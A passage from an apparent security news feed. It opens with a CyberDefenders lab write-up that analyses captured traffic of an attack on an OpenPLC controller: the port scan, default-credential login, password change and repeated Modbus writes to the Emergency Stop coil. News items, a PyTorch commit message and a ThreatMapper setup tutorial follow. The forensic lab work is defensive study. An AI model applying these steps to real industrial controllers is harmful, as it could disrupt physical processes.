src="https://cdn-images-1.medium.com/max/217/1*j7SAOXOSazgbprvxKaRK6A.png"></figure><p><strong>Answer4 → </strong><em>7</em></p><blockquote><strong><em>Q5: After completing host discovery, adversaries typically conduct a port scan to identify potential vulnerabilities and determine their attack surface.<br>How many ports did the attacker scan on each of the discovered hosts?</em></strong></blockquote><p>we need to know how many ports were scanned on EACH host!</p><p>By filtering with the attacker's ip address and all other 7 ip’s we’ve got like this filter for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*QkJ7OCfpFrZSawo_oZRn7Q.png"></figure><p>as he is making port scanning, so this is the right way to filter, by looking to the conversations between these ip addresses, we can find that it has 1000 TCP connections with destination ip address “<strong>192.168.228.136</strong>”. if you changed the filter by changing the ip.dst value to any of the 7 ip addresses we have, you'll find the following statistics :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*9xx8mYSIh1puCfGN8Spdpg.png"><figcaption><strong>Sample</strong></figcaption></figure><p>192.168.228.1 -&gt; 1000 TCP connections</p><p>192.168.228.2 -&gt; 1000 TCP connections</p><p>192.168.228.136 -&gt; 1000 TCP connections</p><p>192.168.228.137 -&gt; 1021 TCP connections</p><p>192.168.228.138 -&gt; 1162 TCP connections (most traffic)</p><p>192.168.228.254 -&gt; 1000 TCP connections</p><p><strong>conclusion</strong>: the attacker’s port scan number are quite obvious, just 2 of 7 ip addresses have more than 1000, it also means that the most traffic with more than 1000, may be the attacker could communicate with him lobger, so we may think he found an open port also!!</p><blockquote><strong>Answer5 → </strong><em>1000</em></blockquote><blockquote><strong><em>Q6: Now that we have confirmed the attacker's IP and intentions, let's begin analyzing their actions. Which HTTP host did the attacker first interact with after completing their enumeration?</em></strong></blockquote><p>From the the previous question, we knew that the most traffic ip address is the address that the attacker could enumerate it, and somehow gained access on it “<strong>192.168.228.138</strong>”. now we need to know the port number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*K9CYFFo2YLhHFOCSR9trpA.png"><figcaption><strong>ip.src==192.168.228.203 and ip.dst == 192.168.228.138</strong></figcaption></figure><p>Using this filter to get the full communication, we can see here the traffic is all about port scanning nothing more, but after a little more time, we found the whole traffic changed to one specific port number:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rKIgLvO5bnAAGV-unnii6A.png"><figcaption><strong>from port scanning, to an actual communication with port 8080</strong></figcaption></figure><blockquote><strong>Answer6 → </strong><em>192.168.228.138:8080</em></blockquote><blockquote><strong><em>Q7 → The first host the attacker interacted with is a PLC (Programmable Logic Controller) device. To understand the attack better, it's important to identify the specific PLC runtime being used on this host, as this could give insights into the attack methods and vulnerabilities.<br>What is the name of the PLC runtime used by this host?</em></strong></blockquote><p>Walk around the communication (http specifically) and you'll find an image with the name of the <strong>plc runtime</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLwM2E0339S1ACkAyZCcrw.png"></figure><p>also, you can search for “plc” as a string, and you'll get the same answer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*VEoilpWexHwcA1D2TqmCNA.png"></figure><blockquote><strong>Answer7 → </strong><em>OpenPLC</em></blockquote><blockquote><strong><em>Q8 → The attacker appears to have successfully logged into the PLC’s configuration webserver. What credentials did they use to gain access?</em></strong></blockquote><p>first, add http filter to the previous filters, and try to find something interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fliTsP5YjIy0DTIxJjS63A.png"></figure><p>a “<strong>POST</strong>” request to the “<strong>/login” </strong>page of the web server is very interesting, so we need to follow the TCP stream, then we'll find the credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*7RKQK90Nd1iCzIushm73gw.png"></figure><blockquote><strong>Answer8 → </strong><em>openplc:openplc</em></blockquote><p><strong>Q9 → According to the incident report, the credentials for the OpenPLC configuration webserver were changed by the attacker. Can you identify the new password that the attacker set?</strong></p><p>Same answer like the previous question, another very important “<strong>POST</strong>” request was sent to “<strong>/edit-user</strong>” path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oEvp00rRkGvV4NJaZL0s8Q.png"></figure><p>follow the tcp stream to get the answer easily :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*E2KVFScmejG789Mu5R6ZTg.png"></figure><blockquote><strong>Answer9 → </strong><em>d1srupt10n</em></blockquote><blockquote><strong><em>Q10 → The PLC’s configuration webserver enables engineers to configure and monitor various parameters of the PLC device. This access can also allow an attacker to identify the I/O points or the registers/coils numbers and their mappings. How many I/O points were in use on the PLC?</em></strong></blockquote><p>This is the most tricky question. after a lot of analysis on the communication and using this filter ip.src==192.168.228.203 and ip.dst == 192.168.228.138 and http , i questioned myself<br>“<strong><em>Why the attacker is looking for a lot of images, and a lot of html web pages ? </em></strong>”</p><p>why don’t we download these html web pages and try to find something interesting. You can do that by ( <strong>File → Export Objects → HTTP… </strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*iFFFryCPgzOVVkOdq13wdw.png"></figure><p>Filter the output to the domain of the web server just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*MxtC6ffv-RQzIVmc2uE3sw.png"></figure><p>You'll find a lot of html web pages, we can save them one by one to add the html extension to the saved files for more visualization</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*buehTphQwJcvYqPxP-oq0A.png"></figure><p>After a lot of analysis, i can tell you this file “<strong>monitor-update%3fmb_port=502</strong>” is the most important to get the answers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*AwHJlUscYAL_qao7BLYCFg.png"></figure><p>After saving the file with “<strong><em>.html</em></strong>” extension, we can open via browser :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*id8Cc1k-FGTQGKPHPXWrOQ.png"></figure><p>WOW!, we found 4 <strong>I/O point </strong>names and that’s what we want.</p><blockquote><strong>Answer10 → </strong><em>4</em></blockquote><blockquote><strong><em>Q11 → Following the identification of the I/O points,<br>What is the Modbus location of the Emergency Stop coil on the PLC?</em></strong></blockquote><p>From the same saved html file, we can see the Emergency_Stop Location easily</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*6WDhiMvGw3NMsz1Drq0lLQ.png"></figure><blockquote><strong>Answer11 → </strong><em>%QX0.0</em></blockquote><blockquote><strong><em>Q12 → The attacker seems to have sent multiple Modbus requests using the “Write Single Coil” command, specifically targeting the emergency stop coils. This repeated activation of the emergency stop likely caused our system’s downtime. Based on the information provided,<br>Can you calculate the total duration of the downtime in seconds (rounded) caused by the attacker?</em></strong></blockquote><p>the attacker sent a lot of <strong>Modbus </strong>packets, so change the “<strong><em>http</em></strong><em>”</em><strong><em> </em></strong>filter to “<strong><em>modbus</em></strong>” like this filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*8IWqpfUVMd0DnCpltmzh7Q.png"></figure><p>and we can calculate the difference between first packet time, and the last packet time since he needs only the duration time, first packet in the filter has the time “<strong>740</strong>.xxxx” as shown</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*Nlo2nwokJ9O5h2aiDOYweQ.png"></figure><p>And last packet in the “<strong><em>modbus</em></strong><em>”</em><strong><em> </em></strong>filter has the time “<strong>1034</strong>.xxxx” as shown</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*vTOMi_w7U6yMuXETBFDqcA.png"></figure><p>We can calculate the difference to get the duration using a reliable source</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*Gjhk5Yn_a9Sb9vqFShvq1A.png"><figcaption>XD:</figcaption></figure><blockquote><strong><em>Answer12 → </em></strong><em>294</em></blockquote><h4>Thanks For Reading, Hope you enjoyed❤️</h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=65c631272d58" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/solardisruption-lab-writeup-cyberdefenders-65c631272d58">SolarDisruption Lab Writeup (CyberDefenders)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Researchers claim EV usage in China may have saved more than 260,000 lives because the air is simply cleaner]]></title>
<description><![CDATA[EVs are effectively helping China deliver on its carbon neutrality pledges and offer cleaner air, but the benefits are more concentrated in urban regions.]]></description>
<link>https://tsecurity.de/de/3583286/it-nachrichten/researchers-claim-ev-usage-in-china-may-have-saved-more-than-260000-lives-because-the-air-is-simply-cleaner/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583286/it-nachrichten/researchers-claim-ev-usage-in-china-may-have-saved-more-than-260000-lives-because-the-air-is-simply-cleaner/</guid>
<pubDate>Tue, 09 Jun 2026 03:31:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[EVs are effectively helping China deliver on its carbon neutrality pledges and offer cleaner air, but the benefits are more concentrated in urban regions.]]></content:encoded>
</item>
<item>
<title><![CDATA[The New Siri: Everything Apple Announced About Its Gemini-Powered Assistant]]></title>
<description><![CDATA[Apple recently unveiled a massive upgrade to its famous voice assistant during the Worldwide Developers Conference. The tech giant is changing the name of its software to Siri AI, marking the biggest shift for the product since it originally launched. By teaming up with Google to use its powerful...]]></description>
<link>https://tsecurity.de/de/3583284/ios-mac-os/the-new-siri-everything-apple-announced-about-its-gemini-powered-assistant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583284/ios-mac-os/the-new-siri-everything-apple-announced-about-its-gemini-powered-assistant/</guid>
<pubDate>Tue, 09 Jun 2026 03:23:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple recently unveiled a massive upgrade to its famous voice assistant during the Worldwide Developers Conference. The tech giant is changing the name of its software to Siri AI, marking the biggest shift for the product since it originally launched. By teaming up with Google to use its powerful Gemini models, the company has created an assistant that understands real conversations and deep personal context. 



Here's how Apple is bringing a smarter, much more capable helper to your favorite devices across the USA and beyond this fall.



The voice helper finally gets a dedicated home screen application



Until now, the voice helper lived mostly as a pop-up window on your screen. That changes with this major update, as the manufacturer created a brand new application just for Siri. Users can open this app to scroll through previous requests and revisit their chat history easily.



This conversation history is saved privately to iCloud. This means you can start a chat on a Mac and finish it later on an iPhone or Apple Watch. You do not have to speak out loud either. The new interface allows you to type your questions directly, making it much easier to use the software in quiet places.



The software finally understands what is showing on your screen



One of the most impressive additions is onscreen awareness. The assistant now tracks what you are actively looking at and can answer questions related to that specific content.



If a friend messages you about a potluck dinner, you can ask the helper to find recipe ideas based on that specific text. It can then take those ideas and save them straight to your Notes app without making you jump between different windows. This level of deep integration shows how artificial intelligence works quietly in the background to handle tasks across multiple apps naturally.



The system uses personal context to find your hidden information



The upgraded software acts like a highly organized personal secretary. It looks securely through your messages, emails, and photos to pull up specific details when you need them.



For example, you can ask it to locate an old hotel booking confirmation buried deep in an inbox. You can also ask it to find certain photos from a recent family trip and instantly share them with a contact. Because it remembers the context of the conversation, you can ask follow-up questions without having to repeat the original topic.



Google brings complex reasoning models to power the new brain



To make all these advanced features work, the iPhone maker partnered directly with Google. The new system runs on the Gemini family of foundation models to handle complex requests and broad world knowledge.



This means the digital helper can easily answer difficult questions from the web and generate helpful responses. As the landscape of AI grows, the company is using a mix of on-device processing and Private Cloud Compute to keep user data completely private while still delivering top performance. You can read a complete breakdown of how Apple calls its new assistant Siri AI to understand the partnership details.



By completely rebuilding its digital helper from the ground up, the company is finally delivering the smart conversational partner it promised years ago. The days of rigid commands and web search errors are ending. With the power of Gemini inside, the assistant is ready to help you manage your digital life with genuine ease.]]></content:encoded>
</item>
<item>
<title><![CDATA[viable/strict/1780951453: [dynamo] Box resume frame values when del can run (#185561)]]></title>
<description><![CDATA[Dynamo resume functions pass restored stack values and locals as normal
positional arguments. CPython keeps those argument references alive for the
whole resume call, so a DELETE_FAST in the resumed bytecode can remove the
local name without actually releasing the tensor. That makes compiled grap...]]></description>
<link>https://tsecurity.de/de/3582856/downloads/viablestrict1780951453-dynamo-box-resume-frame-values-when-del-can-run-185561/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582856/downloads/viablestrict1780951453-dynamo-box-resume-frame-values-when-del-can-run-185561/</guid>
<pubDate>Mon, 08 Jun 2026 22:46:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Dynamo resume functions pass restored stack values and locals as normal<br>
positional arguments. CPython keeps those argument references alive for the<br>
whole resume call, so a <code>DELETE_FAST</code> in the resumed bytecode can remove the<br>
local name without actually releasing the tensor. That makes compiled graph<br>
breaks hold deleted intermediates longer than eager execution.</p>
<p>Detect resume functions that may execute <code>DELETE_FAST</code> after the resume target<br>
and use a boxed frame-values argument for those calls. The resume prologue now<br>
loads each saved stack/local value from the list, stores locals where needed,<br>
and clears each list slot immediately. Resume functions without a reachable<br>
<code>DELETE_FAST</code> keep the previous positional calling convention.</p>
<p>Nested resume calls need to preserve the child's calling convention, so nested<br>
boxed callees receive the frame-values list as one argument while non-boxed<br>
callees keep the existing list extension behavior.</p>
<p>This fixes the actionable resume-frame/intermediate lifetime issue and the<br>
issue-shaped list-cleared input path. Bare direct temporary inputs remain owned<br>
by the outer <code>torch.compile</code> wrapper's <code>*args</code> tuple until the compiled call<br>
returns; a pure Python <code>def wrapper(*args): return fn(*args)</code> has the same<br>
lifetime behavior, so this patch does not try to make <code>del x</code> release such<br>
bare inputs before return.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3068590996" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/153701" data-hovercard-type="issue" data-hovercard-url="/pytorch/pytorch/issues/153701/hovercard" href="https://github.com/pytorch/pytorch/issues/153701">#153701</a><br>
Generated by my agent</p>
<p>Test Plan:</p>
<ul>
<li>python test/dynamo/test_subgraphs.py SubGraphTests.test_nested_resume_del_releases_tensor SubGraphTests.test_resume_del_releases_tensor SubGraphTests.test_issue_shape_list_clear_and_intermediate_del_release_tensors SubGraphTests.test_del_compiled_only_local_before_graph_break</li>
<li>python test/dynamo/test_subgraphs.py</li>
<li>python test/dynamo/test_nested_graph_breaks.py -k test_step_graph_break_frame_values_not_corrupted</li>
<li>python test/dynamo/test_repros.py ReproTests.test_weakref_reconstruct ReproTests.test_weakref_del ReproTests.test_weakref_callback</li>
<li>lintrunner -a</li>
</ul>
<p>Benchmark Results:<br>
Tiny CPU graph-break runtime microbenchmark with <code>DELETE_FAST</code>, backend="eager",<br>
7 samples of 3000 cached calls each:</p>
<ul>
<li>Before: samples_us [26.349, 26.217, 26.076, 26.089, 26.544, 26.578, 26.099], median 26.217 us</li>
<li>After: samples_us [28.897, 29.262, 30.618, 29.686, 31.57, 32.353, 33.83], median 30.618 us (+16.8%)</li>
</ul>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4543708479" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/185561" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/185561/hovercard" href="https://github.com/pytorch/pytorch/pull/185561">#185561</a><br>
Approved by: <a href="https://github.com/IvanKobzarev">https://github.com/IvanKobzarev</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Download the Official WWDC 2026 ‘All Systems Glow’ Wallpaper in 4K]]></title>
<description><![CDATA[Apple has released its official WWDC 2026 “All Systems Glow” wallpaper, and you can now download it in high resolution for your iPhone, iPad, and Mac. The wallpaper features a dark background with a glowing Apple logo that matches this year’s WWDC theme and event branding.



The new wallpaper ca...]]></description>
<link>https://tsecurity.de/de/3582210/ios-mac-os/download-the-official-wwdc-2026-all-systems-glow-wallpaper-in-4k/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582210/ios-mac-os/download-the-official-wwdc-2026-all-systems-glow-wallpaper-in-4k/</guid>
<pubDate>Mon, 08 Jun 2026 19:10:55 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released its official WWDC 2026 “All Systems Glow” wallpaper, and you can now download it in high resolution for your iPhone, iPad, and Mac. The wallpaper features a dark background with a glowing Apple logo that matches this year’s WWDC theme and event branding.



The new wallpaper carries Apple’s “All Systems Glow” tagline and the “Glow all out” branding found on the official WWDC wallpaper page. Apple offers separate versions for iPhone, iPad, and Mac, making it easy to get the best fit for your device.



Visit Apple’s official WWDC 2026 wallpaper page, choose your device, and download the image. Once saved, set it as your wallpaper through your device’s wallpaper settings.



The wallpaper arrives just ahead of WWDC 2026, which runs from June 8 to June 12, and offers an early look at the visual style Apple is using for this year’s software announcements.]]></content:encoded>
</item>
<item>
<title><![CDATA[NHS prescribes half a million Copilot licenses for its paperwork headache]]></title>
<description><![CDATA[After a trial claimed chatbot saved staff 43 minutes a day, NHS England has decided it's time to supersize the experiment]]></description>
<link>https://tsecurity.de/de/3582080/it-nachrichten/nhs-prescribes-half-a-million-copilot-licenses-for-its-paperwork-headache/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582080/it-nachrichten/nhs-prescribes-half-a-million-copilot-licenses-for-its-paperwork-headache/</guid>
<pubDate>Mon, 08 Jun 2026 18:18:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After a trial claimed chatbot saved staff 43 minutes a day, NHS England has decided it's time to supersize the experiment]]></content:encoded>
</item>
<item>
<title><![CDATA[ThreatMapper: I Built a Self-Hosted AI Threat Intelligence Platform — Here’s How to Use It]]></title>
<description><![CDATA[Map adversary behaviour to MITRE ATT&CK in seconds, compare against 160+ APT groups, and generate PDF reports — all running locally with your own LLM keys.Table of ContentsThe ProblemWhat ThreatMapper DoesArchitecture in BriefSetting Up (10 Minutes)Core Workflow: Analysing a Threat ReportThe Navi...]]></description>
<link>https://tsecurity.de/de/3580444/hacking/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580444/hacking/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:23 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>Map adversary behaviour to MITRE ATT&amp;CK in seconds, compare against 160+ APT groups, and generate PDF reports — all running locally with your own LLM keys.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*31Nq2VMJ9Mm9lgryHGJRQQ.png"></figure><h3>Table of Contents</h3><ol><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#da6e"><strong>The Problem</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#fd6d"><strong>What ThreatMapper Does</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#a178"><strong>Architecture in Brief</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#23a4"><strong>Setting Up (10 Minutes)</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#defb"><strong>Core Workflow: Analysing a Threat Report</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#c6ed"><strong>The Navigator: Your ATT&amp;CK Workspace</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#a6e6"><strong>APT Attribution Deep-Dive: Three Compare Modes</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#3ebb"><strong>Two Databases: Actor Profiles and Your Report Library</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#8acb"><strong>Generating Reports</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#859f"><strong>Using the AI Chat Assistant</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#65d3"><strong>Working with All Three ATT&amp;CK Domains</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#be03"><strong>API Usage (Headless / CI Integration)</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#c349"><strong>Keeping ATT&amp;CK Data Fresh</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#489e"><strong>Tips for Analysts</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#b883"><strong>Security Considerations</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#5f65"><strong>What’s Coming Next</strong></a></li><li><a href="https://infosecwriteups.com/threatmapper-i-built-a-self-hosted-ai-threat-intelligence-platform-heres-how-to-use-it-0aa7673e6bd8#f668"><strong>Final Thoughts</strong></a></li></ol><h3>The tool:</h3><p><a href="https://github.com/anpa1200/threatmapper">GitHub - anpa1200/threatmapper: AI-powered MITRE ATT\&amp;CK threat intelligence platform - D3.js navigator, APT comparison, Claude/GPT-4o/Gemini analysis, PDF reports</a></p><h4><strong>Docs</strong>:</h4><p><a href="https://anpa1200.github.io/threatmapper-docs/">ThreatMapper - Self-Hosted AI Threat Intelligence | ThreatMapper</a></p><h3>The Problem</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*69nMwI7Xj8eNIWHv_C_KVg.png"></figure><p>Every threat intelligence analyst knows the workflow: you receive a malware report, an IR summary, or a threat feed entry, and you need to translate it into ATT&amp;CK technique IDs so you can slot it into a detection backlog or a purple-team plan.</p><p>Doing this manually is slow. You read the report, recognise a behaviour (“the implant used scheduled tasks for persistence”), pull up the ATT&amp;CK website, search for the technique, copy the ID. Repeat 20 times for a single report. Then someone asks: <em>“Does this look like APT29?”</em> — and you start manually cross-referencing technique lists.</p><p>There are commercial platforms that do this — but they are expensive, require data to leave your environment, and often treat ATT&amp;CK as a secondary feature behind proprietary kill-chains.</p><p><strong>ThreatMapper</strong> is my attempt to solve this for analysts who want a self-hosted, privacy-first, open-source option that uses the LLM API keys they already have.</p><h3>What ThreatMapper Does</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7jquz_YKO0Odni3r3InzYw.png"></figure><p>In one sentence: <strong>you give it a threat report, it gives you ATT&amp;CK technique IDs, APT group matches, confidence scores, and a PDF.</strong></p><p><strong>Concretely:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VAfpLRWhfkB0pwRR5C4Nlw.png"></figure><ul><li><strong>AI Analysis</strong> — upload a PDF, DOCX, or TXT file (or paste text), pick Claude, GPT-4o, or Gemini, and get a streamed extraction of every ATT&amp;CK technique the LLM identifies with evidence snippets and confidence scores</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*Up-LNxuga22bScwyZiFuHA.png"></figure><ul><li><strong>ATT&amp;CK Navigator</strong> — an interactive heatmap of the full ATT&amp;CK matrix (Enterprise, Mobile, ICS) where you build and explore your TTP layer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4zLLN71CBFHIMCEPOrTxmw.png"></figure><ul><li><strong>APT Attribution</strong> — automatic Jaccard similarity ranking of every extraction against 174+ named ATT&amp;CK threat groups and 56+ named campaigns (e.g. “Operation Ghost”, “SolarWinds Compromise”)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dw7KTqHRijCEkYvUrdBMbQ.png"></figure><ul><li><strong>Compare</strong> — deep side-by-side comparison of your TTP set against groups, MITRE named campaigns, or your own stored report library; with visual matrix diff, tactic breakdown chart, and gap analysis</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*07j05Kn78RJY96S3Ga4IVQ.png"></figure><ul><li><strong>Export</strong> — ATT&amp;CK Navigator-compatible JSON layers and multi-page PDF reports suitable for executive briefings</li></ul><p>Everything runs locally in Docker. Your threat reports never leave your machine.(With local or private LLM)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z711T5SOrORpjITlM2IY9A.png"></figure><h3>Architecture in Brief</h3><p>ThreatMapper is four containers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a6c9YTdIktlPk1w0FRQHaA.png"></figure><p>The backend ingests ATT&amp;CK STIX 2.1 bundles directly from MITRE’s GitHub repository using pure Python — no third-party ATT&amp;CK library, fully compatible with Python 3.12. All three ATT&amp;CK domains (Enterprise, Mobile, ICS) are parsed and stored in PostgreSQL with JSONB arrays for the STIX arrays.</p><p>LLM calls go directly from the FastAPI backend to Anthropic / OpenAI / Google using their official SDKs. Your API keys never touch a third-party service beyond the LLM provider itself.</p><h3>Setting Up (10 Minutes)</h3><h4>Prerequisites</h4><ul><li>Docker + Docker Compose</li><li>An API key for at least one of: Anthropic (Claude), OpenAI, Google Gemini</li></ul><h4>Step 1: Clone and configure</h4><pre>git clone https://github.com/anpa1200/threatmapper.git<br>cd threatmapper<br>cp .env.example .env</pre><p><strong>Important:</strong> you must create .env before running docker compose up. Without it the container starts with empty API keys and AI Analysis returns 500.</p><p>Open .env and add your keys. You only need one:</p><pre>ANTHROPIC_API_KEY=sk-ant-...<br># OPENAI_API_KEY=sk-...<br># GEMINI_API_KEY=AIza...<br>DB_PASS=choose_a_strong_password</pre><pre>If you want a faster first start and only need Enterprise ATT&amp;CK, set:</pre><pre>ATTCK_DOMAINS=enterprise-attack</pre><p>This downloads ~35 MB instead of ~105 MB.</p><h4>Step 2: Start</h4><pre>docker compose up</pre><p>The first start downloads and ingests ATT&amp;CK data automatically. Watch progress:</p><pre>docker compose logs -f api</pre><p>You’ll see something like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z4L2KcZIixQjdkrcBt8OlA.png"></figure><pre>Parsing enterprise-attack-19.1.json ...<br>  Parsed: 15 tactics, 760 techniques, 174 groups, 56 campaigns, 9100+ usages<br>Finished ingesting enterprise-attack v19.1<br>INFO:     Application startup complete.</pre><p>This takes 5–15 minutes depending on your network speed. Subsequent startups are instant (data is cached in the PostgreSQL volume).</p><h4>Step 3: Open</h4><ul><li>Frontend: <a href="http://localhost:3000/">http://localhost:3000</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l_EPylZmZEnAaDF6JjQE4w.png"></figure><ul><li>API docs (Swagger UI): <a href="http://localhost:8000/docs">http://localhost:8000/docs</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CsGSK7APVQvnvTDCLxXKNA.png"></figure><h3>Core Workflow: Analysing a Threat Report</h3><p>This is the killer feature and what most analysts will use day-to-day.</p><h4>Upload your report</h4><p>Navigate to <strong>Analyze</strong> in the sidebar. You’ll see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*EsC2UAT23n0xRDPv29oEWg.png"></figure><ol><li>A provider dropdown (Claude / GPT-4o / Gemini)</li><li>An optional model override (defaults to claude-opus-4-8, gpt-4o, gemini-2.0-flash)</li><li>A domain selector (enterprise-attack for most corporate IR work)</li><li>A text area or file upload</li></ol><p>For a PDF analysis report:</p><ol><li>Select <strong>Claude</strong> (or your preferred provider)</li><li>Leave the domain as enterprise-attack</li><li>Click <strong>Choose file</strong> and upload your PDF</li><li>Click <strong>Analyse with AI</strong></li></ol><p>You’ll immediately see the LLM’s response streaming in the output box — token by token, just like ChatGPT. This is not a spinner that makes you wait: you can read the thinking as it happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*89fT-TuOac6OMSNdZ61vag.png"></figure><h4>Reading the results</h4><p>When the stream completes, three tabs appear:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*FpAXPkiL1j3fiuOkL7tp8A.png"></figure><p><strong>Techniques tab</strong> — the core output. Each row shows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*aSqu_irokLlGQa1Njwa0fQ.png"></figure><p>FieldExampleATT&amp;CK IDT1059.001NamePowerShellTacticExecutionConfidence92%Evidence<em>”executed a base64-encoded PowerShell payload”</em></p><p>The evidence field is a direct quote or paraphrase from your source document — you can use it to trace every mapping back to its origin in the text. High confidence (≥ 80%) means the text explicitly described the behaviour; lower scores mean it was inferred.</p><p><strong>APT Matches tab</strong> — the attribution layer. Computed locally using Jaccard similarity between your extracted techniques and every named ATT&amp;CK group’s known TTP set. The top 10 are shown with:</p><figure><img alt="" 